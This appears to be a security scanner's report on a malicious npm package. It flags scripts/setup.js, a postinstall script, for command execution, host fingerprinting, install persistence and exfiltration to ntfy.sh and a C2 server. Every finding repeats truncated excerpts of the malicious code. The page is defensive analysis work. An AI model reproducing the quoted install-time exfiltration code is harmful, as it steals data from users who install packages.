3L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http');
L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform();
L6:
...
L14: // ntfy = ALERT ONLY (title only, NO data!)
L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},...
L16: // c2 = ALL DATA to VPS (no data via ntfy!)
...
L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}}
L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){return e.stdout||null}}
L24: function ls(a){try{return f.readdirSync
CriticalCommand Output Exfiltration
Source executes local commands and sends command output to an external endpoint.
scripts/setup.jsView on unpkg · L3 3Trigger-reachable chain: scripts.postinstall -> scripts/setup.js
L3:
L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http');
L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform();
L6:
...
L14: // ntfy = ALERT ONLY (title only, NO data!)
L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},...
L16: // c2 = ALL DATA to VPS (no data via ntfy!)
...
L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}}
L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){ret
CriticalTrigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
scripts/setup.jsView on unpkg · L3 3L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http');
L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform();
HighChild Process
Package source references child process execution.
scripts/setup.jsView on unpkg · L3 3L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http');
L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform();
L6:
...
L14: // ntfy = ALERT ONLY (title only, NO data!)
L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},...
L16: // c2 = ALL DATA to VPS (no data via ntfy!)
...
L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}}
L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){return e.stdout||null}}
L24: function ls(a){try{return f.readdirSync
HighHost Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
scripts/setup.jsView on unpkg · L3 3L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http');
L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform();
L6:
...
L14: // ntfy = ALERT ONLY (title only, NO data!)
L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},...
L16: // c2 = ALL DATA to VPS (no data via ntfy!)
...
L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}}
L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){return e.stdout||null}}
L24: function ls(a){try{return f.readdirSync
MediumInstall Persistence
Source writes installer persistence such as shell profile or service configuration.
scripts/setup.jsView on unpkg · L3